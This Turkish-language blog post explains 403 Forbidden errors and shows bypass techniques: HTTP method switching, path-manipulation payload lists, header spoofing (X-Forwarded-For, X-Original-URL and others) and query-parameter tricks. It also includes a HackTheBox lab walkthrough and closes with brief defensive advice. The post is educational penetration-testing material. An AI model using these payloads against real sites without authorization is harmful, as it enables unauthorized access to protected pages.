403 ByPass

403 ByPass

Herkese tekrardan merhabalar, bu yazımda sizelere web geliştirme sürecinde sık sık karşılaşılan sorunlardan biri olan 403 Forbidden hatasının ne olduğundan, neden kaynaklandığından, nasıl ByPass edilebileceğinden ves 403 ByPass saldırılarına karşı nasıl korunabileceğimizden bahsedeceğim. Keyifli okumalar :)

403 Hatası Nedir?

403 Forbidden hatası, bir web sitesine erişmeye çalıştığınızda karşınıza çıkan bir HTTP durum kodudur. Bu hata, web sitesinin sunucu tarafında belirli bir sayfaya erişim izninizin olmadığını belirtir. Genel olarak izniniz olmayan bir konuma erişmeye çalıştığınızda bu hatayı alırsınız.

403 Hatası Neden Kaynaklanır?

  • Yetki Sorunları : Erişmeye çalıştığınız sayfaya erişim izniniz olmayabilir. Bu durumda sunucu size 403 hatası döndürür.

  • IP Adresi Engelleme : Sunucu tarafında belirli IP adreslerinin engellendiği durumlarda 403 hatası döndürür.

  • Giriş Sınırlamaları : Sunucu tarafında belirli giriş sınırlamaları yapıldığında 403 hatası döndürür.

  • Güvenlik Duvarı : Sunucu tarafında belirli güvenlik duvarları bulunduğunda ve sizin girşimleriniz bu güvenlik duvarlarına takıldığında 403 hatası döndürür.

  • Yapılandırma Hataları : Sunucu tarafında yapılandırma hataları olduğunda ya da eksik yapıldığında 403 hatası döndürür.

Gibi bir çok sebepten dolayı 403 Hatası alabiliriz.

403 Hatası Bypass Yöntemi

HTTP Method Değiştirme

İlk yöntem HTTP method değiştirme yöntemidir. HTTP Methodları isteklerin nasıl yapıldığını belirten komutlardır. HTTP protokolünde 8 adet method bulunmaktadır. Bu methodlar şunlardır:

  • GET

  • POST

  • PUT

  • DELETE

  • HEAD

  • OPTIONS

  • TRACE

  • CONNECT

Şimdi gelin beraber bir örnek üzerinden HTTP Method değiştirme yöntemini inceleyelim.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği GET methodu alarak yapsın ve biz bu sayfaya erişmek istiyoruz. Bu durumda biz bu sayfaya erişmek için POST methodunu kullanabiliriz. Bu durumda sunucu bizden isteği GET methodu ile yapmamızı beklerken biz POST methodu ile yaparız ve bu sayede sayfaya erişim sağlamış oluruz.

Request:

GET /secret HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 403 Forbidden
...

Request:

POST /secret HTTP/1.1 
Host: example.com

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

Bu durumda sunucu bizden isteği POST methodu ile yapmamızı beklerken biz GET methodu ile yaparız ve bu sayede sayfaya erişim sağlamış oluruz.

Path Değiştirme

Bir diğer yöntem ise Path değiştirme yöntemidir. Bu yöntemde, sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği example.com/secret sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için example.com/secret/ sayfasına erişim sağlayabiliriz. Bu durumda sunucu bizden isteği example.com/secret sayfasına yapmamızı beklerken biz example.com/secret/ sayfasına erişim sağlamış oluruz.

Request:

GET /secret HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 403 Forbidden
...

Request:

GET /secret/ HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

Bu durumda sunucu bizden isteği example.com/secret sayfasına yapmamızı beklerken biz example.com/secret/ sayfasına erişim sağlamış oluruz.

Diğer Path Değiştirme Payloadları
  • example.com/secret/

  • example.com/SECRET

  • example.com/secret/.

  • example.com/./secret/

  • example.com/../secret/

  • example.com/secret/..

  • example.com/secret/./

  • example.com/secret/../

  • example.com/secret%20

  • example.com/secret%09

  • example.com/secret%0d

  • example.com/secret%0a

  • example.com/secret%00

  • example.com/secret%0d%0a

  • example.com/secret%20/

  • example.com/.;/secret

  • example.com/./secret

Gibi bir çok payload ile Path değiştirme yöntemi kullanılabilir.

Header Değiştirme

Bir diğer yöntem ise Header değiştirme yöntemidir. Headerlar, istemci ve sunucu arasında iletişim kurarken kullanılan bilgilerdir. Bu bilgiler ile istemci ve sunucu arasında iletişim kurulur. Bu durumda sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği example.com/secret sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için example.com/secret sayfasına erişim sağlamak için Referer header'ını değiştirebiliriz. Bu durumda sunucu herhangi bir referer header'ı olmadığı için 403 hatası alırken biz referer header'ını değiştirerek sayfaya erişim sağlamış oluruz.

Request:

GET /secret HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 403 Forbidden
...

Request:

GET /secret HTTP/1.1
Host: example.com
Referer: example.com/secret
...

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

Request: X-Forwarded-For

GET /secret HTTP/1.1
Host: example.com
X-Forwarded-For: x.x.x.x 
...

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

Request: X-Forwarded-Host

GET /secret HTTP/1.1
Host: example.com
X-Forwarded-Host: example.com 
...

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

NOT : Yukarıda değiştirilecen Host ve IP adresleri girerken girilen ip ve host adresleri sizin kontrol ettiğiniz adresler olmalıdır. Aksi takdirde başka bir siteye saldırı yapmış olursunuz. Girilen host adresi saldırı yapılacak olan siteye ait olmalıdır.Girilen ip adresi ise sizin kontrol ettiğiniz ip adresi olmalıdır (örneğin kendi ip adresiniz veya 127.0.0.1 (localhost) adresini verebilirsiniz.).

Bu durumda sunucu bizden isteği example.com/secret sayfasına erişimi engellemesini beklerken biz example.com/secret sayfasına erişim sağlamış oluruz.

Diğer Header Değiştirme Payloadları
  • X-Forwarded-For : Bu header web sunucusuna bağlanan bir istemcinin kaynak IP adresini tanımlamak için kullanılır. Örneğin, X-Forwarded-For: 127.0.0.1 şeklinde IP adresini local IP adresi ile değiştirebiliriz.

  • X-Forwarded-Host : Bu header web sunucusuna bağlanan bir istemcinin kaynak Host adresini tanımlamak için kullanılır. Örneğin, X-Forwarded-Host: localhost şeklinde Host adresini değiştirebiliriz.

  • X-Remote-IP : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-Remote-IP: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.

  • X-Remote-Addr : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-Remote-Addr: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.

  • X-ProxyUser-Ip : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-ProxyUser-Ip: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.

Not: Eğer sunucu tarafında bu header'lar yol korunuyorsa, diğer header'lar ile deneme yapılabilir.

  • X-Original-URL: : Bu header ile URL header'ını değiştirebiliriz. Örneğin X-Original-URL: /secret şeklinde URL header'ını değiştirebiliriz.

  • X-Rewrite-URL: : Bu header ile de URL header'ını değiştirebiliriz. Örneğin X-Rewrite-URL: /secret şeklinde URL header'ını değiştirebiliriz.

  • X-Forwarded-Path: : Bu header ile Path header'ını değiştirebiliriz. Örneğin X-Forwarded-Path: /secret şeklinde Path header'ını değiştirebiliriz.

Gibi bir çok payload ile Header değiştirme yöntemi kullanılabilir.

Parametre Değiştirme

Bir diğer yöntem ise Parametre değiştirme yöntemidir. Bu yöntemde, sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği example.com/secret sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için example.com/secret sayfasına erişim sağlamak için ?secret parametresini ekleyebiliriz. Bu durumda sunucu bizden isteği example.com/secret sayfasına yapmamızı beklerken biz example.com/secret?secret sayfasına erişim sağlamış oluruz.

Request:

GET /secret HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 403 Forbidden
...

Request:

GET /secret?secret HTTP/1.1
Host: example.com
...

Response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>

Bu durumda sunucu bizden isteği example.com/secret sayfasına yapmamızı beklerken biz example.com/secret?secret sayfasına erişim sağlamış oluruz.

403 ByPass Tooları

Bunları elimizle yapmak yerine bir çok tool ile bu işlemleri otomatik olarak yapabiliriz.

Örnek Senaryo

Şimdi gelin beraber HackTheBox platformunda bulunan bir örnek senaryo üzerinden 403 ByPass işlemini gerçekleştirelim.

  • İlk olarak verilen adreste http://94.237.62.149:57773/auth/login adresine giriş yapmaya çalışalım

  • Şimdi burada 403 hatası aldık.Bu hatayı bypass etmek için path değiştirme yöntemini deneyelim.

  • Burada path değiştirme yöntemi ile 403 hatasını bypass etmeyi başardık ve sayfaya erişim sağladık. Site bizim isteğimizi GET /auth/login şeklinde yapmamızı beklerken biz GET /../auth/login/ şeklinde yaptık ve bu sayede sayfaya sistem tarafından engellenen sayfaya erişim sağladık.

Burada sayfaya erişim sağladık ve sayfaya erişim sağladık. Bu sayede 403 ByPass işlemini başarılı bir şekilde gerçekleştirmiş olduk.

Nasıl Korunabiliriz?

Şimdiye kadar 403 ByPass nedir ve yöntemleri nelerdir konularından bahsettik. Artık asıl önemli konu olan nasıl korunabiliriz konusuna geçelim.

  • Güvenlik duvarları kullanılmalı ve erişim kontrolü yapılmalıdır. En önemlisi ise bunların düzgün bir şekilde yapılandırılması ve güncel tutulmasıdır.

  • Yetkilendirme ve kimlik doğrulama işlemleri yapılmalıdır. Bu işlemler ile kullanıcıların yetkileri belirlenmeli ve bu yetkilere göre işlem yapılmalıdır. Şifreleme ve kimlik doğrulama işlemleri yapılmalıdır ve şifrelerin karmaşıklığı arttırılmalıdır.

  • Giriş ve çıkış kontrolleri yapılmalıdır. Bu kontroller ile gelen verilerin güvenliği sağlanmalı ve bu verilerin güvenliği sağlanmalıdır.

  • Güvenlik açıklarının tespit edilmesi ve bu açıkların kapatılması için düzenli olarak güvenlik testleri yapılmalıdır. Bu testler ile sunucu ve uygulamaların güvenliği sağlanmalıdır.

  • Giriş sınırlamaları yapılmalıdır. Bu sınırlamalar ile kullanıcıların giriş hakkı sınırlanmalıdır. Bu sayede kullanıcılarda gelen brute force saldırılarına karşı korunmuş olur.

Gibi bir çok yöntem ile 403 ByPass saldırılarına karşı korunabiliriz.

Bu yazıda sizlere 403 ByPass nedir ? nasıl korunabiliriz ? gibi konulardan bahsettim. Umarım faydalı bir yazı olmuştur. Teşekkür ederim, iyi çalışmalar dilerim :)

Bu yazı Burak Bıçakcıoğlu tarafından hazırlanmıştır.

Last updated